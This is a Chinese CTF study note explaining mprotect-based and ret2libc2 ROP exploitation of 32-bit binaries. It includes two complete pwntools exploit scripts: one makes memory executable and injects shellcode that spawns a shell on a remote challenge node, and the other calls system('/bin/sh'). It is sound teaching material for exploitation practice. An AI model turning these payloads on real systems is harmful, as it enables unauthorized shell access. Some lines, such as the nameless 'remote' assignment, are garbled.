mprotect()函数

https://blog.csdn.net/elg5127/article/details/124221422
这个是csdn上的讲解

BUU-PWN题(1-40) (yuque.com)
这个是语雀上的讲解

PWN疑难(1-3)-关于payload中栈的布置以及system的一些困惑 (yuque.com)
对于栈传参一篇写的贼好的文章;

疑问点解释:
1,mprootect()函数修改的是那段内存空间?
首先,mprotect()函数将一段具有可读写无执行权限的内存空间更改权限可执行,
![[Pasted image 20221108161747.png]]
之后直接把恶意数据直接篡改到这里面即可,
调用数据的话直接调用这里的地址即可。

2,pop3函数参数在栈上是如何实现的?
首先给到exp看下内容:
from pwn import *
elf = ELF(‘./pwn’)
sh = process(‘./pwn’)
= remote(‘node3.buuoj.cn’,27234)
pop3_ret = 0x0809e4c5
mem_addr = 0x080ea000
#可读可写的内存,但不可执行
mem_size = 0x3000
#通过调试出来的值
mem_proc = 0x7
#可代表可读可写可执行
mprotect_addr = elf.symbols[‘mprotect’]
read_addr = elf.symbols[‘read’]
payload_01 = ‘A’ * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) 这里的寄存器并非是用来传递参数,而是作为返回地址来使得esp向下走12,正好可以执行read函数。
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)

#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令 又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取已知内存的地址内容大小
payload_01 += p32(mem_addr)

#这里就是shellcode了
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = ‘i386’, os = ‘linux’)
sh.sendline(payload_sh)
#这就是read读入的内容
sh.interactive()

这里重点看这部分:
32位多参函数传参问题:(仍然运用寄存器传参方法)
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret)
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取大小
payload_01 += p32(mem_addr)
#这里就是shellcode了

解释:
1,栈溢出到eip,将mprotect函数地址传入eip中,为main函数返回地址;
2,后面跟着pop3_addr作为mprotect函数返回地址,在mprotect函数执行完之后进行返回;
3,后面跟着三个mprotect函数的参数,进行修改;
4,(过程:)在输入完三个参数之后,将pop3作为返回地址,把参数跳过,也就是弄走;(32位程序利用栈进行传参)函数之中完成mpro()函数的调用。
利用pop3_addr最后的ret指令,将sp指针上移,
从而使得ip往上走,(1,函数调用。2,跳过参数)
这里插入下汇编ret指令:![[default 1.jfif]]
具体含义是将sp向栈的上上方移并将上面的一个地址读入栈中,
5,下面的read函数由于ret指令则被调用,
6,最后跟着shell的写入地址,进行shell的调用;

(补充下与ret2libc2的区别:)
其exp:
from pwn import *

sh = process(‘./ret2libc2’)

system_addr=0x8048490

gets_addr=0x8048460

pop_addr = 0x0804872f

buf2_addr = 0x804a080

payload = flat([112*A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])

sh.sendline(payload)

sh.sendline(‘/bin/sh’)

sh.interactive()
其运用的是先构造好rop链,最后往里面写参数:
调用gets函数,将参数跳过,后面写sys的地址,地址,参数(所在地址)
之后写入/bin/sh即可。
最后写的地址是参数写入的地址,

这道题是shellcode执行地址;